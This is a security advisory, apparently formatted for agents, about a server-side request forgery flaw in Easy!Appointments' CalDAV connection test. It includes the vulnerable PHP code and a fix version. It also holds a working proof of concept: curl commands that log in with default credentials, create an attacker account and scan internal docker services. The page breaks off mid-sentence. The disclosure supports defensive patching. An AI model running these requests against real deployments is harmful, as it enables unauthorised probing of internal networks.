---
id: "CVE-2026-52840"
page: "https://infrastack.ai/live/CVE-2026-52840"
kind: "vulnerability"
aliases: ["CVE-2026-52840", "GHSA-pm5p-7w5h-jm5q"]
title: "Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network"
severity: "low"
cvss: 2.7
epss: 0.00233
exploited: false
status: "open"
category: "package"
products: [{"name": "alextselegidis/easyappointments", "fixed": ["1.6.1"], "affected": "<= 1.5.2", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["cwe-918", "docker", "easyappointments", "package", "php", "self-hosted"]
not_affected_if: ["auth-required", "caldav-unused", "version-1.6.1-or-later"]
published_at: "2026-07-29T16:24:27+00:00"
first_seen_at: "2026-11-10T19:29:50+00:00"
updated_at: "2026-11-10T20:05:06+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-pm5p-7w5h-jm5q", "first_seen_at": "2026-11-10T19:29:50+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00233, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-52840"}]
---

# Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network

Link for people: https://infrastack.ai/live/CVE-2026-52840 (this .md is for agents)

Easy!Appointments passes the caldav_url a logged-in backend user supplies straight to an outbound HTTP request without checking the host. An attacker with a backend login can probe internal network services and read a short part of their responses through the error message.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:alextselegidis/easyappointments affected <= 1.5.2 fixed 1.6.1

## How to check

- Check the installed version of `alextselegidis/easyappointments` in `composer.lock`; versions `<= 1.5.2` are affected.
- Look for the CalDAV connection test endpoint `caldav/connect_to_server` in `application/controllers/Caldav.php` and confirm it does not restrict the target host.

## Fix

- `alextselegidis/easyappointments` upgrade to `1.6.1`

## Timeline

- 2026-11-10T19:29:50+00:00 ghsa https://github.com/advisories/GHSA-pm5p-7w5h-jm5q

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/alextselegidis/easyappointments/security-advisories/GHSA-pm5p-7w5h-jm5q
- [advisory] Maintainer's advisory: github.com https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q
- [fix] Patch: github.com https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510
- [fix] Patch: github.com https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c
- [fix] Patch: github.com https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9
- [fix] Patch: github.com https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536
- [fix] Release: github.com https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0

## From the sources

### Summary

`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.

### Preconditions

- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.
- Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.

### Details

```php
// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
    try {
        $provider_id = request('provider_id');
        $user_id = session('user_id');

        if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
            throw new RuntimeException('You do not have the required permissions for this task.');
        }

        $caldav_url = request('caldav_url');                                  // (*) attacker-controlled
        $caldav_username = request('caldav_username');
        $caldav_password = request('caldav_password');

        $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink
        ...
    } catch (GuzzleException | InvalidArgumentException $e) {
        json_response([
            'success' => false,
            'message' => $e->getMessage(),                                    // (*) upstream body reflected
        ]);
    }
}
```

The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.

When Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.

### Proof of concept

**Setup**

1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

   ```bash
   git clone https://github.com/alextselegidis/easyappointments
   cd easyappointments
   git checkout 1.5.2
   cp config-sample.php config.php
   docker compose up -d
   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
   ```

2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`):

   ```bash
   docker compose exec -T php-fpm php index.php console install
   ```

3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:

   ```bash
   export ADMIN_JAR=/tmp/admin.cookies
   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=administrator" \
     --data-urlencode "password=administrator" > /dev/null

   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode 'provider[first_name]=Mal' \
     --data-urlencode 'provider[last_name]=Lory' \
     --data-urlencode 'provider[email]=mallory@x.test' \
     --data-urlencode 'provider[phone_number]=+10000000000' \
     --data-urlencode 'provider[timezone]=UTC' \
     --data-urlencode 'provider[language]=english' \
     --data-urlencode 'provider[settings][username]=mallory' \
     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \
     --data-urlencode 'provider[settings][notifications]=0'
   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
     -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
   ```

4. Log in as the attacker into a dedicated cookie jar:

   ```bash
   export ATTACKER_JAR=/tmp/attacker.cookies
   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=mallory" \
     --data-urlencode "password=Attacker-pw-1" > /dev/null
   ```

**Exploit**

1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:

   ```bash
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "provider_id=$ATTACKER_ID" \
     --data-urlencode "caldav_url=http://nginx/some/404/path" \
     --data-urlencode "caldav_username=x" \
     --data-urlencode "caldav_password=x"
   ```

   Observed (verified on a fresh `docker compose up`): `{"success":false,"message":"Client error: \`REPORT http:\/\/nginx\/some\/404\/path\/\` resulted in a \`404 Not Found\` response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n    height: 100%;\n\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.

2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:

   ```bash
   for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
     CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
     printf '\n=== %s ===\n' "$target"
     curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
       --data-urlencode "csrf_token=$CSRF" \
       --data-urlencode "provider_id=$ATTACKER_ID" \
       --data-urlencode "caldav_url=http://$target/" \
       --data-urlencode "caldav_username=x" \
       --data-urlencode "caldav_password=x"
   done
   ```

   Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \`REPORT http://swagger-ui:8080/\` resulted in a \`405 Not Allowed\` response: <html>\r\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{"success":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape let

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_